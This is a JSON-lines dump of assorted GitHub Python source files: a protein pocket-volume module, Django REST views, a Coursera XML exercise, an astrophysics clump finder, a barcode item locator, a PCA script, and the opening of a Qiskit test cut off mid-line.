+{"seq_id":"133452650","text":"\nfrom .spheres import Spheres\nfrom . import cluster, configuration, utilities\nimport glob\nimport inspect\nimport itertools\nimport logging\nimport numpy as np\nimport os\nimport pandas as pd\nimport shutil\nimport sys\n\nlogger = logging.getLogger(__name__)\n\ndef load_calculation(data_dir, input_opts=None):\n \"\"\" load the results of a calculation from file\n\n Args:\n data_dir (str): directory where previous calculation results are stored\n input_opts (dict): dictionary of pyvol options that is used to update the options read in from file\n\n Returns:\n pockets ([Spheres]): a list of Spheres objects each of which contains the geometric information describing a distinct pocket or subpocket\n opts (dict): updated PyVOL options dictionary\n\n \"\"\"\n\n if not os.path.isdir(data_dir):\n logger.error(\"{0} is not a directory\".format(data_dir))\n raise FileNotFoundError\n\n cfg_files = glob.glob(os.path.join(data_dir, \"*.cfg\"))\n if len(cfg_files) == 0:\n logger.error(\"No cfg file found in {0}\".format(data_dir))\n raise FileNotFoundError\n elif len(cfg_files) > 1:\n logger.error(\"Multiple cfg files found in {0}\".format(data_dir))\n raise FileNotFoundError\n\n opts = configuration.file_to_opts(cfg_files[0])\n if isinstance(input_opts, dict):\n opts.update(input_opts)\n opts = configuration.clean_opts(opts)\n\n rept_file = os.path.join(data_dir, \"{0}.rept\".format(opts.get(\"prefix\")))\n if not os.path.isfile(rept_file):\n logger.error(\"No rept file found at {0}\".format(rept_file))\n raise FileNotFoundError\n\n rept_df = pd.read_csv(rept_file)\n pockets = []\n for index, row in rept_df.iterrows():\n xyzrg_file = os.path.join(data_dir, \"{0}.xyzrg\".format(row[\"name\"]))\n pockets.append(Spheres(spheres_file=xyzrg_file))\n\n return pockets, opts\n\n\ndef pocket(**opts):\n \"\"\"Calculates the SES for a binding pocket\n\n Args:\n opts (dict): dictionary containing all PyVOL options (see pyvol.pymol_interface.pymol_pocket_cmdline for details)\n\n Returns:\n pockets ([Spheres]): a list of Spheres objects each of which contains the geometric information describing a distinct pocket or subpocket\n\n \"\"\"\n\n if os.path.dirname(opts.get(\"prot_file\")) != opts.get(\"output_dir\"):\n new_prot_file = os.path.join(opts.get(\"output_dir\"), os.path.basename(opts.get(\"prot_file\")))\n shutil.copyfile(opts.get(\"prot_file\"), new_prot_file)\n opts[\"prot_file\"] = new_prot_file\n\n if opts.get(\"lig_file\") is not None:\n new_lig_file = os.path.join(opts.get(\"output_dir\"), os.path.basename(opts.get(\"lig_file\")))\n shutil.copyfile(opts.get(\"lig_file\"), new_lig_file)\n opts[\"lig_file\"] = new_lig_file\n\n p_s = Spheres(pdb=opts.get(\"prot_file\"), name=\"{0}_prot\".format(opts.get(\"prefix\")))\n logger.debug(\"Protein geometry read from {0}\".format(opts.get(\"prot_file\")))\n\n pl_s = p_s.copy()\n if opts.get(\"lig_file\") is not None:\n l_s = Spheres(pdb=opts.get(\"lig_file\"), r=opts.get(\"lig_incl_rad\"), name=\"{0}_lig_incl\".format(opts.get(\"prefix\")))\n logger.debug(\"Ligand geometry read from {0}\".format(opts.get(\"lig_file\")))\n if opts.get(\"lig_incl_rad\") is not None:\n pl_s = p_s + l_s\n logger.debug(\"Ligand-inclusion radius of {0} applied\".format(opts.get(\"lig_incl_rad\")))\n else:\n l_s = None\n\n pl_s.name = \"{0}_interior\".format(opts.get(\"prefix\"))\n\n pl_bs = pl_s.calculate_surface(probe_radius=opts.get(\"max_rad\"))[0]\n logger.debug(\"Outer bulk-solvent surface calculated\")\n pl_bs.name = \"{0}_boundary\".format(opts.get(\"prefix\"))\n\n pa_s = p_s + pl_bs\n pa_s.name = \"{0}_exterior\".format(opts.get(\"prefix\"))\n if (l_s is not None) and (opts.get(\"lig_excl_rad\") is not None):\n le_s = Spheres(xyz=l_s.xyzr, r=opts.get(\"lig_excl_rad\"), name=\"{0}_lig_excl\".format(opts.get(\"prefix\")))\n le_bs = le_s.calculate_surface(probe_radius=opts.get(\"max_rad\"))[0]\n pa_s = pa_s + le_bs\n logger.debug(\"Ligand-excluded radius of {0} applied\".format(opts.get(\"lig_excl_rad\")))\n\n if opts.get(\"mode\") == \"all\":\n all_pockets = pa_s.calculate_surface(probe_radius=opts.get(\"min_rad\"), all_components=True, min_volume=opts.get(\"min_volume\"))\n for index, pocket in enumerate(all_pockets):\n pocket.name = \"{0}_p{1}\".format(opts.get(\"prefix\"), index)\n logger.info(\"Pockets calculated using mode 'all': {0}\".format(len(all_pockets)))\n if opts.get(\"subdivide\"):\n logger.warning(\"Subpocket clustering not currently supported when calculating all independent pockets\")\n else:\n if opts.get(\"mode\") == \"largest\":\n bp_bs = pa_s.calculate_surface(probe_radius=opts.get(\"min_rad\"), all_components=True, largest_only=True)[0]\n logger.info(\"Largest pocket identified\")\n elif opts.get(\"mode\") == \"specific\":\n if opts.get(\"coordinates\") is not None:\n coordinate = opts.get(\"coordinates\")\n logger.info(\"Specific pocket identified from coordinate: {0}\".format(opts.get(\"coordinates\")))\n elif opts.get(\"resid\") is not None:\n resid = str(opts.get(\"resid\"))\n chain = None\n if not resid[0].isdigit():\n chain = resid[0]\n resid = int(resid[1:])\n else:\n resid = int(resid)\n coordinate = utilities.coordinates_for_resid(opts.get(\"prot_file\"), resid=resid, chain=chain)\n logger.info(\"Specific pocket identified from residue: {0} -> {1} (truncated)\".format(opts.get(\"resid\"), coordinate[0,:]))\n elif l_s is not None:\n lig_coords = l_s.xyz\n coordinate = np.mean(l_s.xyz, axis=0).reshape(1, -1)\n logger.info(\"Specific pocket identified from mean ligand position: {0}\".format(coordinate))\n else:\n logger.error(\"A coordinate, ligand, or residue must be supplied to run in specific mode\")\n return None\n\n p_bs = p_s.calculate_surface(probe_radius=opts.get(\"min_rad\"))[0]\n id_coord = p_bs.nearest_coord_to_external(coordinate).reshape(1, -1)\n bp_bs = pa_s.calculate_surface(probe_radius=opts.get(\"min_rad\"), coordinate=id_coord)[0]\n else:\n logger.error(\"Unrecognized mode <{0}>--should be 'all', 'largest', or 'specific'\".format(opts.get(\"mode\")))\n return None\n\n bp_bs.name = \"{0}_p0\".format(opts.get(\"prefix\"))\n\n if bp_bs.mesh.volume > pl_bs.mesh.volume:\n logger.error(\"Binding pocket not correctly identified--try an alternative method to specify the binding pocket\")\n return [], opts\n else:\n all_pockets = [bp_bs]\n\n if opts.get(\"subdivide\"):\n all_pockets.extend(subpockets(bounding_spheres = pa_s, ref_spheres = bp_bs, **opts))\n logger.info(\"Subpockets identified: {0}\".format(len(all_pockets) - 1))\n\n write_report(all_pockets, **opts)\n write_cfg(**opts)\n\n return all_pockets, opts\n\n\ndef pocket_wrapper(**opts):\n \"\"\" wrapper for pocket that configures the logger, sanitizes inputs, and catches errors; useful when running from the command line or PyMOL but split from the core code for programmatic usage\n\n Args:\n opts (dict): dictionary containing all PyVOL options (see pyvol.pymol_interface.pymol_pocket_cmdline for details)\n\n Returns:\n pockets ([Spheres]): a list of Spheres objects each of which contains the geometric information describing a distinct pocket or subpocket\n output_opts (dict): dictionary containing the actual options used in the pocket calculation\n\n \"\"\"\n\n opts = configuration.clean_opts(opts)\n\n utilities.check_dir(opts.get(\"output_dir\"))\n\n log_file = os.path.join(opts.get(\"output_dir\"), \"{0}.log\".format(opts.get(\"prefix\")))\n utilities.configure_logger(filename=log_file, stream_level=opts.get(\"logger_stream_level\"), file_level=opts.get(\"logger_file_level\"))\n logger.debug(\"Logger configured\")\n\n all_pockets, output_opts = pocket(**opts)\n\n return all_pockets, output_opts\n\n\ndef subpockets(bounding_spheres, ref_spheres, **opts):\n \"\"\"\n\n Args:\n bounding_spheres (Spheres): a Spheres object containing both the peptide and solvent exposed face external spheres\n ref_spheres (Spheres): a Spheres object holding the interior spheres that define the pocket to be subdivided\n opts (dict): a dictionary containing all PyVOL options (see pyvol.configuration.clean_opts for details)\n\n Returns:\n grouped_list ([Spheres]): a list of Spheres objects each of which contains the geometric information describing a distinct subpocket\n\n \"\"\"\n\n nonextraneous_rad = opts.get(\"min_rad\") + opts.get(\"max_rad\") + opts.get(\"inclusion_radius_buffer\")\n nonextraneous_spheres = bounding_spheres.identify_nonextraneous(ref_spheres=ref_spheres, radius=nonextraneous_rad)\n\n sampling_radii = np.flip(np.arange(opts.get(\"min_rad\"), opts.get(\"max_subpocket_rad\"), opts.get(\"radial_sampling\")), axis=0)\n unmerged_sphere_lists = utilities.sphere_multiprocessing(nonextraneous_spheres, sampling_radii, all_components=True)\n spheres = cluster.merge_sphere_list(itertools.chain(*unmerged_sphere_lists))\n\n cluster.hierarchically_cluster_spheres(spheres, ordered_radii=sampling_radii, min_new_radius=opts.get(\"min_subpocket_rad\"), min_cluster_size=opts.get(\"min_cluster_size\"), max_clusters=opts.get(\"max_clusters\"))\n\n cluster.remove_overlap(spheres, radii=sampling_radii, spacing=opts.get(\"radial_sampling\"))\n cluster.remove_overlap(spheres)\n cluster.remove_interior(spheres)\n grouped_list = cluster.extract_groups(spheres, surf_radius=opts.get(\"min_subpocket_surf_rad\"), prefix=opts.get(\"prefix\"))\n return grouped_list\n\n\ndef write_cfg(**opts):\n \"\"\" write the processed configuration to file\n\n Args:\n output_dir (str): output directory, relative or absolute\n prefix (str): identifying prefix for the output files\n\n \"\"\"\n\n utilities.check_dir(opts.get(\"output_dir\"))\n configuration.opts_to_file(opts)\n\n\ndef write_report(all_pockets, **opts):\n \"\"\" Write a brief report of calculated volumes to file\n\n Args:\n all_pockets ([Spheres]): a list of Spheres objects each of which contains the complete information about a distinct pocket or subpocket\n output_dir (str): output directory, relative or absolute\n prefix (str): identifying prefix for output files\n\n \"\"\"\n import os\n import pandas as pd\n\n utilities.check_dir(opts.get(\"output_dir\"))\n\n rept_list = []\n\n for pocket in all_pockets:\n spheres_name = os.path.join(opts.get(\"output_dir\"), \"{0}.xyzrg\".format(pocket.name))\n pocket.write(spheres_name)\n rept_list.append({\"name\": pocket.name,\n \"volume\": pocket.mesh.volume\n })\n rept_df = pd.DataFrame(rept_list)\n rept_name = os.path.join(opts.get(\"output_dir\"), \"{0}.rept\".format(opts.get(\"prefix\")))\n rept_df.to_csv(rept_name, index=False)\n logger.info(\"Report written to: {0}\".format(rept_name))\n","repo_name":"schlessinger-lab/pyvol","sub_path":"pyvol/identify.py","file_name":"identify.py","file_ext":"py","file_size_in_byte":11191,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"66"}
+{"seq_id":"2952679","text":"import datetime\n\nfrom rest_framework import status, request\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom rest_framework.utils import json\n\nfrom JolgorioWebApp.models import Actividad, Usuario, Logro, Material, UsuarioHasActividad\nfrom JolgorioWebApp.serializers import ActividadSerializer, UsuarioSerializer, LogroSerializer, MaterialSerializer\n\n@api_view(['GET'])\ndef listar_actividades(request):\n if request.method == 'GET':\n actividades = Actividad.objects.filter(estado=1).order_by('tipo')\n serializer = ActividadSerializer(actividades, many=True)\n return Response(serializer.data)\n\n@api_view(['GET'])\ndef listar_materiales(request, id):\n if request.method == 'GET':\n materiales = Material.objects.filter(actividadhasmaterial__actividad_idactividad=id)\n serializer = MaterialSerializer(materiales, many=True)\n return Response(serializer.data)\n\n@api_view(['GET'])\ndef listar_actividades_completadas(request, id):\n if request.method == 'GET':\n actividades = Actividad.objects.filter(usuariohasactividad__usuario_idusuario=id)\n serializer = ActividadSerializer(actividades, many=True)\n return Response(serializer.data)\n\n@api_view(['GET'])\ndef listar_actividades_ultimo_mes(request, id):\n if request.method == 'GET':\n actividades = Actividad.objects.filter(usuariohasactividad__usuario_idusuario= id,\n usuariohasactividad__fechacompletado__month=datetime.date.today().month,\n usuariohasactividad__fechacompletado__year=datetime.date.today().year)\n serializer = ActividadSerializer(actividades, many=True)\n return Response(serializer.data)\n\n\n@api_view(['GET'])\ndef usuario_por_id(request, id):\n if request.method == 'GET':\n usuario = Usuario.objects.get(idusuario=id);\n serializer = UsuarioSerializer(usuario, many=False)\n return Response(serializer.data)\n\n\n\n@api_view(['GET'])\ndef usuario_por_telefono(request, numero):\n if request.method == 'GET':\n usuario = Usuario.objects.get(numero=numero);\n serializer = UsuarioSerializer(usuario, many=False)\n return Response(serializer.data)\n\n\n@api_view(['GET'])\ndef usuario_por_correo(request, correo):\n if request.method == 'GET':\n usuario = Usuario.objects.get(email=correo);\n serializer = UsuarioSerializer(usuario, many=False)\n return Response(serializer.data)\n\n\n@api_view(['GET'])\ndef listar_logros(request, tipo):\n if request.method == 'GET':\n logros = Logro.objects.filter(tipo=tipo)\n serializer = LogroSerializer(logros, many=True)\n return Response(serializer.data)\n\n@api_view(['POST'])\ndef actividad_completada(request):\n if request.method == 'POST':\n json_data = json.loads(request.body)\n idusuario = json_data[\"idusuario\"]\n idactividad = json_data[\"idactividad\"]\n fecha = datetime.date.today()\n query = UsuarioHasActividad(idusuario, idactividad, fecha)\n query.save()\n response = {\"status\": \"success\"}\n return Response(response)\n\n","repo_name":"joseaoviedo/JolgorioWeb","sub_path":"JolgorioWebApp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3175,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"7001716671","text":"\"\"\" Assignment 13.1. of Coursera Python Web Access \"\"\"\n\n\nimport urllib.request\nimport urllib.parse\nimport urllib.error\nimport sys\nimport ssl\nimport xml.etree.ElementTree as ET\n\n\ndef main():\n \"\"\" Main method \"\"\"\n try:\n ctx = ssl.create_default_context()\n ctx.check_hostname = False\n ctx.verify_mode = ssl.CERT_NONE\n\n url = input(\"Enter url:\")\n print(\"Retrieving:\", url)\n xmldata = urllib.request.urlopen(url, context=ctx).read()\n tree = ET.fromstring(xmldata)\n counts = tree.findall('.//count')\n sum_of_counts = 0\n for count in counts:\n sum_of_counts = sum_of_counts + int(count.text)\n print(sum_of_counts)\n except:\n print(sys.exc_info())\n\n\nmain()\n","repo_name":"pramodrao/PyLabs","sub_path":"Coursera_Python_Access_Web_Data/assignment_13_1.py","file_name":"assignment_13_1.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"12530914831","text":"import yt\nfrom yt.data_objects.level_sets.api import *\nfrom foggie.utils.foggie_load import foggie_load as fl\nfrom foggie.utils.foggie_load import load_sim\nimport os\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom foggie.utils.get_run_loc_etc import get_run_loc_etc\nimport argparse\nimport trident\n\ndef parse_args():\n '''Parse command line arguments. Returns args object.\n NOTE: Need to move command-line argument parsing to separate file.'''\n\n parser = argparse.ArgumentParser()\n # Optional arguments:\n parser.add_argument('--halo', metavar='halo', type=str, action='store', \\\n help='Which halo? Default is 8508 (Tempest)')\n parser.set_defaults(halo='8508')\n\n parser.add_argument('--run', metavar='run', type=str, action='store', \\\n help='Which run? Default is nref11c_nref9f. Alternative: nref11n_nref10f')\n parser.set_defaults(run='nref11c_nref9f')\n\n parser.add_argument('--output', metavar='output', type=str, action='store', \\\n help='Which output? Default is RD0027 = redshift 1')\n parser.set_defaults(output='RD0027')\n\n parser.add_argument('--system', metavar='system', type=str, action='store', \\\n help='Which system are you on? Default is ramona_pleiades')\n parser.set_defaults(system='ramona_pleiades')\n\n parser.add_argument('--pwd', dest='pwd', action='store_true', \\\n help='Just use the working directory? Default is no')\n parser.set_defaults(pwd=False)\n\n parser.add_argument('--width', metavar='width', type=float, action='store', \\\n help='Width of the box around the halo center in kpc. default = 30')\n parser.set_defaults(width=30.)\n\n parser.add_argument('--step', metavar='step', type=float, action='store', \\\n help='clumpfinder step parameter. default = 2. ')\n parser.set_defaults(step=2.)\n\n parser.add_argument('--patchname', metavar='patchname', type=str, action='store', \\\n help='Name for the patch to find clumps? Default is central_30kpc')\n parser.set_defaults(patchname='box1')\n\n parser.add_argument('--center', metavar='center', type=str, action='store', \\\n help='Center of the box in the halo center in code units. default = center1')\n parser.set_defaults(center='center1')\n\n args = parser.parse_args()\n return args\n\nargs = parse_args()\nfoggie_dir, output_dir, run_loc, code_path, trackname, haloname, spectra_dir, infofile = get_run_loc_etc(args)\npatchname = args.patchname\noutput_dir = output_dir+\"clumps/\"+patchname+'/'\nif not (os.path.exists(output_dir)): os.system('mkdir -p ' + output_dir)\nos.chdir(output_dir)\nhalo = args.halo\nsim = args.run\nsnap = args.output\n\nfilename = foggie_dir+'halo_00'+halo+'/'+sim+'/'+snap+'/'+snap\ntrack_name = trackname\n\n#ds, region = fl(filename,trackname)\nds, region = fl(filename, trackname, \\\n particle_type_for_angmom=False, do_filter_particles=False, \\\n region='refine_box') # this *SHOULD* work better, I just hope I'm not losing anything important\n# if halo_c_v file does not include the halo center, foggie_load will try to calculate it (which doesnt work without problems in yt4 so here is the workaround from Ayan using load_sim)\n\n\n#ds, refine_box = load_sim(args, region='refine_box')\n#args.halo_center = ds.halo_center_kpc\n#args.halo_velocity = ds.halo_velocity_kms\n#[centerx,centery,centerz] = ds.halo_center\n#args.halo_velocity = ds.halo_velocity_kms\n\n\n\nfor chosenion in ['O VI','C II','C IV','Si II','Si III','Si IV', 'Mg I', 'Mg II', 'H I']:\n trident.add_ion_fields(ds, ions=[chosenion])\n\nchosenwidth = args.width\n\ndx= ds.quan(chosenwidth,'kpc').in_units('code_length')\n\ndy= ds.quan(chosenwidth,'kpc').in_units('code_length')\n\ndz= ds.quan(chosenwidth,'kpc').in_units('code_length')\n\n\n[centerx,centery,centerz]=region.center\n\ncenter1 = [centerx+dx,centery,centerz]\ncenter2 = [centerx+dx,centery+dy,centerz]\ncenter3 = [centerx+dx,centery+dy,centerz+dz]\ncenter4 = [centerx+dx,centery+dy,centerz-dz]\ncenter5 = [centerx+dx,centery,centerz+dz]\ncenter6 = [centerx+dx,centery,centerz-dz]\ncenter7 = [centerx+dx,centery-dy,centerz]\ncenter8 = [centerx+dx,centery-dy,centerz+dz]\ncenter9 = [centerx+dx,centery-dy,centerz-dz]\ncenter10 = [centerx,centery,centerz]\ncenter11 = [centerx,centery+dy,centerz]\ncenter12 = [centerx,centery+dy,centerz+dz]\ncenter13 = [centerx,centery+dy,centerz-dz]\ncenter14 = [centerx,centery,centerz+dz]\ncenter15 = [centerx,centery,centerz-dz]\ncenter16 = [centerx,centery-dy,centerz]\ncenter17 = [centerx,centery-dy,centerz+dz]\ncenter18 = [centerx,centery-dy,centerz-dz]\ncenter19 = [centerx-dx,centery,centerz]\ncenter20 = [centerx-dx,centery+dy,centerz]\ncenter21 = [centerx-dx,centery+dy,centerz+dz]\ncenter22 = [centerx-dx,centery+dy,centerz-dz]\ncenter23 = [centerx-dx,centery,centerz+dz]\ncenter24 = [centerx-dx,centery,centerz-dz]\ncenter25 = [centerx-dx,centery-dy,centerz]\ncenter26 = [centerx-dx,centery-dy,centerz+dz]\ncenter27 = [centerx-dx,centery-dy,centerz-dz]\n\n\nif args.center == 'center1':\n chosencenter = center1\nif args.center == 'center2':\n chosencenter = center2\nif args.center == 'center3':\n chosencenter = center3\nif args.center == 'center4':\n chosencenter = center4\nif args.center == 'center5':\n chosencenter = center5\nif args.center == 'center6':\n chosencenter = center6\nif args.center == 'center7':\n chosencenter = center7\nif args.center == 'center8':\n chosencenter = center8\nif args.center == 'center9':\n chosencenter = center9\nif args.center == 'center10':\n chosencenter = center10\nif args.center == 'center11':\n chosencenter = center11\nif args.center == 'center12':\n chosencenter = center12\nif args.center == 'center13':\n chosencenter = center13\nif args.center == 'center14':\n chosencenter = center14\nif args.center == 'center15':\n chosencenter = center15\nif args.center == 'center16':\n chosencenter = center16\nif args.center == 'center17':\n chosencenter = center17\nif args.center == 'center18':\n chosencenter = center18\nif args.center == 'center19':\n chosencenter = center19\nif args.center == 'center20':\n chosencenter = center20\nif args.center == 'center21':\n chosencenter = center21\nif args.center == 'center22':\n chosencenter = center22\nif args.center == 'center23':\n chosencenter = center23\nif args.center == 'center24':\n chosencenter = center24\nif args.center == 'center25':\n chosencenter = center25\nif args.center == 'center26':\n chosencenter = center26\nif args.center == 'center27':\n chosencenter = center27\n\n#print(center)\ndata_source = ds.sphere(chosencenter, (chosenwidth, 'kpc'))\n\n#yt.ProjectionPlot(ds, 2, (\"gas\", \"density\"), center=chosencenter, width=(chosenwidth,'kpc'),data_source=data_source, weight_field=(\"gas\", \"density\")).show()\n\n#yt.ProjectionPlot(ds, 2, (\"gas\", \"temperature\"), center=chosencenter, width=(chosenwidth,'kpc'),data_source=data_source, weight_field=(\"gas\", \"density\")).show()\n\n#yt.ProjectionPlot(ds, 2, (\"gas\", \"metallicity\"), center=chosencenter, width=(chosenwidth,'kpc'),data_source=data_source, weight_field=(\"gas\", \"density\")).show()\n\n\nmaster_clump = Clump(data_source, (\"gas\", \"density\"))\nmaster_clump.add_validator(\"min_cells\", 20)\nc_min = data_source[\"gas\", \"density\"].min()\nc_max = data_source[\"gas\", \"density\"].max()\nstep = args.step #100. #2.0\nfind_clumps(master_clump, c_min, c_max, step)\n\nleaf_clumps = master_clump.leaves\nprj = yt.ProjectionPlot(ds, 0, (\"gas\", \"density\"),\n # center=chosencenter, width=(chosenwidth,'kpc'),weight_field=(\"gas\", \"density\"), data_source=data_source)\n center=chosencenter, width=(chosenwidth,'kpc'), data_source=data_source)\n\nprj.annotate_clumps(leaf_clumps)\nplotsdir = output_dir +'plots'\nif not (os.path.exists(plotsdir)): os.system('mkdir -p ' + plotsdir)\nprj.save(plotsdir+'/halo_00'+halo+'_'+sim+'_'+snap+'_'+snap+'_clumps_density.png')\n#prj.show()\n\nmaster_clump.add_info_item(\"total_cells\")\nmaster_clump.add_info_item(\"cell_mass\")\nmaster_clump.add_info_item(\"mass_weighted_jeans_mass\")\nmaster_clump.add_info_item(\"volume_weighted_jeans_mass\")\nmaster_clump.add_info_item(\"max_grid_level\")\nmaster_clump.add_info_item(\"min_number_density\")\nmaster_clump.add_info_item(\"max_number_density\")\nmaster_clump.add_info_item(\"center_of_mass\")\nmaster_clump.add_info_item(\"distance_to_main_clump\")\n\n\n\nfields_of_interest = [(\"gas\", \"density\"),(\"gas\", \"temperature\"), (\"gas\", \"metallicity\"),\"particle_mass\",'particle_position',(\"gas\", 'cell_mass'),(\"gas\", \"cell_volume\"), \\\n (\"gas\", 'radial_velocity_corrected'), \\\n (\"gas\", 'Si_p1_number_density'), (\"gas\", 'Si_p2_number_density'), (\"gas\", 'Si_p3_number_density'), (\"gas\", 'C_p1_number_density'), (\"gas\", 'C_p3_number_density'), (\"gas\", 'O_p5_number_density'), (\"gas\", 'Mg_p0_number_density'),(\"gas\", 'Mg_p1_number_density'),(\"gas\", 'H_p0_number_density'), \\\n (\"gas\", 'Si_p1_mass'), (\"gas\", 'Si_p2_mass'), (\"gas\", 'Si_p3_mass'), (\"gas\", 'C_p1_mass'), (\"gas\", 'C_p3_mass'), (\"gas\", 'O_p5_mass'), (\"gas\", 'Mg_p0_mass'),(\"gas\", 'Mg_p1_mass'),(\"gas\", 'H_p0_mass') \\\n ]\n\n\nfn = master_clump.save_as_dataset(filename='halo_00'+halo+'_'+sim+'_'+snap+'_'+snap+'_clumps_tree',fields=fields_of_interest)\nleaf_clumps = master_clump.leaves\n\nindclumpdir = output_dir +'individual_clumps'\nif not (os.path.exists(indclumpdir)): os.system('mkdir -p ' + indclumpdir)\nfor clump in leaf_clumps:\n clumpfn=str(clump.clump_id)+'_single_clump'\n #clump.save_as_dataset(filename=clumpfn,fields=[\"density\", \"particle_mass\",'particle_position'])\n clump.data.save_as_dataset(filename=indclumpdir+'/'+clumpfn,fields=fields_of_interest)\n\n\nfilename = 'halo_00'+halo+'_'+sim+'_'+snap+'_'+snap+'_clumps_cut_region'\nmaster_clump.data.save_as_dataset(filename=filename,fields=fields_of_interest)\n\n\"\"\"\nclumpmasses = []\nclumpvolumes = []\nfailedclumps = []\nfor i in range(100):\n i=i+1\n clumpfile=str(i)+\"_single_clump.h5\"\n if (os.path.exists(clumpfile)):\n clump1 = yt.load(clumpfile)\n ad = clump1.all_data()\n try:\n clumpmass = ad[\"gas\", \"cell_mass\"].sum().in_units(\"Msun\")\n clumpvolume = ad[\"gas\", \"cell_volume\"].sum().in_units(\"kpc**3\")\n print(i)\n print(clumpmass)\n print(clumpvolume)\n clumpmasses.append(clumpmass)\n clumpvolumes.append(clumpvolume)\n\n except ValueError:\n failedclumps.append(i)\n pass\n\nprint('Failed clumps: ')\nprint(failedclumps)\n\nclumpmasses=np.array(clumpmasses)\nclumpvolumes=np.array(clumpvolumes)\n\n\nplt.figure()\nplt.hist(clumpvolumes)\nplt.savefig('clumpvolumes.png')\n\nplt.figure()\nplt.hist(clumpmasses)\nplt.savefig('clumpmasses.png')\n\n\nclumpradii = (3/4/np.pi * clumpvolumes)**(1/3)\n\nplt.figure()\nplt.hist(clumpradii)\nplt.savefig('clumpradii.png')\n\"\"\"\n","repo_name":"foggie-sims/foggie","sub_path":"foggie/clumps/full_run.py","file_name":"full_run.py","file_ext":"py","file_size_in_byte":10981,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"66"}
+{"seq_id":"5522197702","text":"import cv2\r\nfrom pyzbar import pyzbar\r\nimport winsound\r\nfrom tkinter import messagebox\r\nclass Test(object):\r\n def __init__(self, bc):\r\n self.bc = bc\r\n def setBc(self, bc):\r\n self.bc = bc\r\n return\r\n def getBc(self):\r\n return self.bc\r\n def cutBc(self, bc):\r\n bc = str(bc)\r\n s = []\r\n z = \"\"\r\n for i in range(len(bc)):\r\n s.append(bc[i])\r\n s.pop(0)\r\n s.pop(0)\r\n for i in range(len(s)):\r\n z += str(s[i])\r\n print (z)\r\n return z\r\n \r\n \r\n \r\n \r\nbc = Test(0000000000)\r\n \r\ndef check(barcode):\r\n fpRef = open(\"planoguide.txt\", \"r\")\r\n x = 0\r\n while True:\r\n line = fpRef.readline()\r\n if line == \"\":\r\n fpRef.close()\r\n if x == 0:\r\n messagebox.showinfo(title = \"Error\", message = \"Item not found!\")\r\n fpRef.close()\r\n break\r\n line = line.strip()\r\n word = line.split()\r\n if barcode == word[0]:\r\n messagebox.showinfo(title = (word[4]), message = (word[2], \"Row\", word[3], \"Item\"))\r\n x += 1\r\n fpRef.close()\r\n break\r\n return\r\ndef read_barcodes(frame):\r\n barcodes = pyzbar.decode(frame) \r\n for barcode in barcodes:\r\n barcode_info = barcode.data.decode('utf-8')\r\n #print(barcode_info)\r\n bc.setBc(barcode_info)\r\n #print(bc.getBc(), \"a\")\r\n \r\n #winsound.PlaySound(\"sound2.wav\", winsound.SND_ASYNC)\r\n return frame\r\ndef main():\r\n camera = cv2.VideoCapture(0)\r\n ret, frame = camera.read()\r\n while ret:\r\n print(pyzbar.decode(frame))\r\n ret, frame = camera.read()\r\n frame = read_barcodes(frame)\r\n cv2.imshow('Big Lots Box Finder', frame)\r\n if pyzbar.decode(frame) != []:\r\n print(bc.getBc())\r\n break\r\n if cv2.waitKey(1) & 0xFF == 27:\r\n exit()\r\n break\r\n camera.release()\r\n cv2.destroyAllWindows()\r\n w = bc.getBc()\r\n x = bc.cutBc(w)\r\n bc.setBc(x)\r\n check(bc.getBc())\r\nwhile True:\r\n main()\r\n\r\n\r\n\r\n","repo_name":"drouckama/Retail-Store-Item-Locater","sub_path":"finder.py","file_name":"finder.py","file_ext":"py","file_size_in_byte":2142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"40032950282","text":"import pandas as pd\r\nimport numpy as np\r\nfrom sklearn.decomposition import PCA\r\nfrom sklearn.preprocessing import MinMaxScaler\r\nimport plotly.express as px\r\n\r\ndata = pd.read_csv('properties.csv')\r\ndata = data.drop(labels=[\"hu5\", \"hu6\"], axis=\"columns\")\r\ndata.head()\r\n\r\n\r\ndata = MinMaxScaler().fit_transform(data)\r\npca = PCA(n_components=3)\r\npca.fit(data)\r\n\r\ndata_pca = pca.transform(data).T\r\nprint(pca.explained_variance_)\r\nprint(pca.explained_variance_ratio_)\r\n\r\n\r\n#https://plotly.com/python/pca-visualization/\r\npca = PCA(3)\r\ncomponents = pca.fit_transform(data)\r\nlabels = {\r\n str(i): f\"PC {i+1} ({var:.1f}%)\"\r\n for i, var in enumerate(pca.explained_variance_ratio_ * 100)\r\n}\r\n\r\nfig = px.scatter_matrix(\r\n components,\r\n labels=labels,\r\n dimensions=range(3)\r\n #,color = data_pca[0]\r\n)\r\nfig.update_traces(diagonal_visible=False)\r\nfig.show()","repo_name":"JPEspinoza/tarea_3_imagenes","sub_path":"pca.py","file_name":"pca.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"15357332728","text":"import unittest\nimport warnings\nfrom test.aqua import QiskitAquaTestCase\nfrom ddt import ddt, data\n\nfrom qiskit import BasicAer\nfrom qiskit.circuit.library import TwoLocal\n\nfrom qiskit.aqua import QuantumInstance, aqua_globals\nfrom qiskit.aqua.operators import I, X, Z\nfrom qiskit.aqua.utils import decimal_to_binary\nfrom qiskit.aqua.components.initial_states import VarFormBased\nfrom qiskit.aqua.components.optimizers import SPSA\nfrom qiskit.aqua.algorithms import VQE\nfrom qiskit.aqua.algorithms import IQPE\n\n\n@ddt\nclass TestVQE2IQPE(QiskitAquaTestCase):\n \"\"\" Test VQE to IQPE \"\"\"\n\n def setUp(self):\n super().setUp()\n self.seed = 20798\n aqua_globals.random_seed = self.seed\n self.qubit_op = -1.052373245772859 * (I ^ I) \\\n + 0.39793742484318045 * (I ^ Z) \\\n - 0.39793742484318045 * (Z ^ I) \\\n - 0.01128010425623538 * (Z ^ Z) \\\n + 0.18093119978423156 * (X ^ X)\n\n @data('initial_state', 'circuit')\n def test_vqe_2_iqpe(self, mode):\n \"\"\" vqe to iqpe test \"\"\"\n backend = 